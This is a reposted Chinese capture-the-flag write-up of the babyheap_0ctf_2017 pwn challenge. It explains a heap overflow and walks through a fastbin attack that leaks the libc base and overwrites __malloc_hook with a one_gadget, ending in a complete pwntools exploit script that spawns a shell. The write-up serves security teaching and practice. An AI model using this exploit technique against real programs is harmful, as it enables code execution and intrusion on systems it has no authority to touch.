• [BUUCTF]PWN——babyheap_0ctf_2017


    [BUUCTF]PWN——babyheap_0ctf_2017

    附件

    步骤:
    例行检查,64位,保护全开
    在这里插入图片描述
    试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个视频,我也刚接触堆不久,有些地方我也讲不清楚
    在这里插入图片描述
    ida载入,先看一下main函数,做堆题的时候需要将程序给理清楚了,这边的几个选项函数一开始不是如图所示的,我们可以右击给他重新命名一下,为了让我们看的更清楚
    在这里插入图片描述
    add,就是简单的创建一个chunk
    在创建堆时有一个结构体,这个结构体大概是这样的:

    struct pr_heap
    {
    double alloc_or_not;   #0或者1,表示是否分配(0表示没有分配,1表示分配)
    double size;           #创建chunk的大小
    void *heap;            #chunk的内存地址
    };
    

    在这里插入图片描述
    edit,我们写入数据的长度是我们可以自己控制的,我们可以利用这点溢出到另一个堆块上
    在这里插入图片描述
    free,普通的释放chunk的过程
    在这里插入图片描述
    show
    在这里插入图片描述

    利用思路

    两次 double free 与 fastbin attack 。
    第一次先泄露 libc 地址,然后找到构造 fake chunk 的地址。
    第二次通过构造的 fake chunk 堆溢出覆写 __malloc_hook 完成 get shell 。

    关于堆的一些参数看一下这篇文章

    利用过程

    1、通过unsortedbin attack 来泄露libc地址

    首先应该记住这样一条规律:当small chunk被释放时,它的fd、bk指向一个指针,这个指针指向top chunk地址,这个指针保存在main_arena的0x58偏移处,而main_arena是libc的data段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出libc的基地址了,所以重点是当small chunk释放时,能读出fd 或者 bk的值

    我首先通过如下重叠两个块来泄漏libc的地址(也是常见的攻击)。
    在这里插入图片描述
    提前申请几个小堆块

    alloc(0x10)
    alloc(0x10)
    alloc(0x10)
    alloc(0x10)
    alloc(0x80)
    

    在这里插入图片描述

    free两个fast bin

    free(1)
    free(2)
    

    在这里插入图片描述

    由于 fastbin 是 LIFO ,切是单向链表链接的(依赖 fd 指针链接下一个 fastbin)
    所ifree 2个fast bin,第二个fast bin的fd会指向第一个fast bin

    然后向index=0的内存填充数据,由于堆溢出的漏洞,可以覆盖后边的内存。我们把 chunk 2 的内容覆盖为 chunk 4 的地址
    将如图标记处修改为chuk4的地址,只用修改低8字节即可
    在这里插入图片描述

    payload  = p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
    fill(0, payload)
    

    修改后
    在这里插入图片描述
    现在chunk2的fd指向了chunk4,这样相当于 chunk 4 已经被 free 了而且被存放在 fastbin 中。在这里插入图片描述
    我们等下要 malloc 回 chunk 4 ,可是 malloc fastbin 有检查, chunksize 必须与相应的 fastbin_index 匹配,所以我们覆盖 chunk 4 的 size 为 fastbin 大小来通过检查,然后通过两次(因为fast bin是单链表)alloc,就可以small chunk放入fast bin中了

    payload = p64(0)*3+p64(0x21)
    fill(3, payload)
    alloc(0x10)
    alloc(0x10)
    

    chunk4被我们修改成了fastbin
    在这里插入图片描述
    这样就有2个指针指向同一个chunk了,然后恢复其size大小,申请回来在释放掉(释放时,是当做small bin释放的),接着查看对应chunk的index就好了

    payload = p64(0)*3+p64(0x91)
    fill(3, payload)
    alloc(0x80)
    free(4)
    

    在这里插入图片描述
    unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。

    libc_base = u64(dump(2)[:8].strip().ljust(8, "x00"))-0x3c4b78
    log.info("libc_base: "+hex(libc_base))
    
    0x3c4b78?
    libc_base=(程序里的main_arena+88)-0x3c4b78(0x3c4b0+88,一般2.23_64的偏移都是这个,不同libc版本会有不同)](https://editor.csdn.net/md/?articleId=111307531)
    
    index=2?
    由于我们刚刚把 chunk 2 的 fd 指针改为 chunk 4 的地址,所以第一次 malloc(0x10) 的时候是分配的原来 chunk 2 的块给 index 1,第二次 malloc(0x10) 的时候就会分配 chunk 4 的块给 index 2,也就是说 index 2 与 index 4 的内容都是 chunk 4)
    

    到这里我们能够获得libc_base了

    2、 改写malloc_hook为one_gadget

    获得了 libc 地址,我们可以使用 fastbin attack 将一个 libc 上的地址放入 fastbin 链表中,然后 malloc 出来,这样就可已改写 libc 的内容。malloc_hook 是一个 libc 上的函数指针,调用 malloc 时如果该指针不为空则执行它指向的函数,可以通过写 malloc_hook 来 getshell。

    同样的,这里我们也要绕过 malloc 的安全检查,chunksize 必须与 fastbin_index 相对应,初看 __malloc_hook 附近没有合适的 chunksize,这里需要巧妙的偏移一下。
    在这里插入图片描述
    可以发现在 0x7f2a8a09eaed 处构造块可以绕过检测(因为 7f 满足 0x70 大小),可以计算 0x7f2a8a09eaed 距离 libc 基址的偏移为 0x3c4aed

    alloc(0x60)
    
    free(4)
    payload = p64(libc_base+0x3c4aed)
    fill(2, payload)
    

    接着将malloc_hook改为one_gadget,这样我们在malloc的时候就能够获取shell了

    alloc(0x60)
    alloc(0x60)
     
    payload = p8(0)*3+p64(0)*2+p64(libc_base+0x4526a)
    fill(6, payload)
     
    alloc(255)
    

    在这里插入图片描述

    完整EXP:

    from pwn import *
    import sys
     
    context.log_level = "debug"
     
    elf = ELF("./babyheap_0ctf_2017")
    libc = ELF("./libc-2.23 .so")
     
    p = process("./babyheap_0ctf_2017")
    #p=remote('node3.buuoj.cn',29218)
    
    def alloc(size):
        p.recvuntil("Command: ")
        p.sendline("1")
        p.recvuntil("Size: ")
        p.sendline(str(size))
     
    def fill(idx, content):
        p.recvuntil("Command: ")
        p.sendline("2")
        p.recvuntil("Index: ")
        p.sendline(str(idx))
        p.recvuntil("Size: ")
        p.sendline(str(len(content)))
        p.recvuntil("Content: ")
        p.send(content)
     
    def free(idx):
        p.recvuntil("Command: ")
        p.sendline("3")
        p.recvuntil("Index: ")
        p.sendline(str(idx))
     
    def dump(idx):
        p.recvuntil("Command: ")
        p.sendline("4")
        p.recvuntil("Index: ")
        p.sendline(str(idx))
        p.recvline()
        return p.recvline()
     
     
    alloc(0x10)
    alloc(0x10)
    alloc(0x10)
    alloc(0x10)
    alloc(0x80)
    
    #gdb.attach(p)
    
    free(1)
    free(2)
     
    #gdb.attach(p)
    
    payload = p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
    fill(0, payload)
     
    #gdb.attach(p)
    
    payload = p64(0)*3+p64(0x21)
    fill(3, payload)
    
    #gdb.attach(p)
     
    alloc(0x10)
    alloc(0x10)
    	
    #gdb.attach(p)
     
    payload = p64(0)*3+p64(0x91)
    fill(3, payload)
    
    alloc(0x80)
    free(4)
    
    #gdb.attach(p)
    
    libc_base = u64(dump(2)[:8].strip().ljust(8, "x00"))-0x3c4b78
    log.info("libc_base: "+hex(libc_base))
     
    alloc(0x60)
    
    free(4)
     
    payload = p64(libc_base+0x3c4aed)
    fill(2, payload)
     
    alloc(0x60)
    alloc(0x60)
     
    payload = p8(0)*3+p64(0)*2+p64(libc_base+0x4526a)
    fill(6, payload)
     
    alloc(255)
     
    p.interactive()
    

    参考wp:
    https://poning.me/2017/03/24/baby-heap-2017/
    https://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
    https://bbs.pediy.com/thread-223461.htm

  • 相关阅读:
    C#防止窗口重复打开
    c#image与byte数组的转换
    物理网卡地址
    C#[WinForm]实现自动更新
    js计算散点图方程式
    js遮罩效果
    js实现四舍六入 奇进偶舍
    ajax加载表格数据
    C#创建和调用WebService详细教程
    .NET中的CTS、CLS和CLR
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273615.html
Copyright © 2020-2023  润新知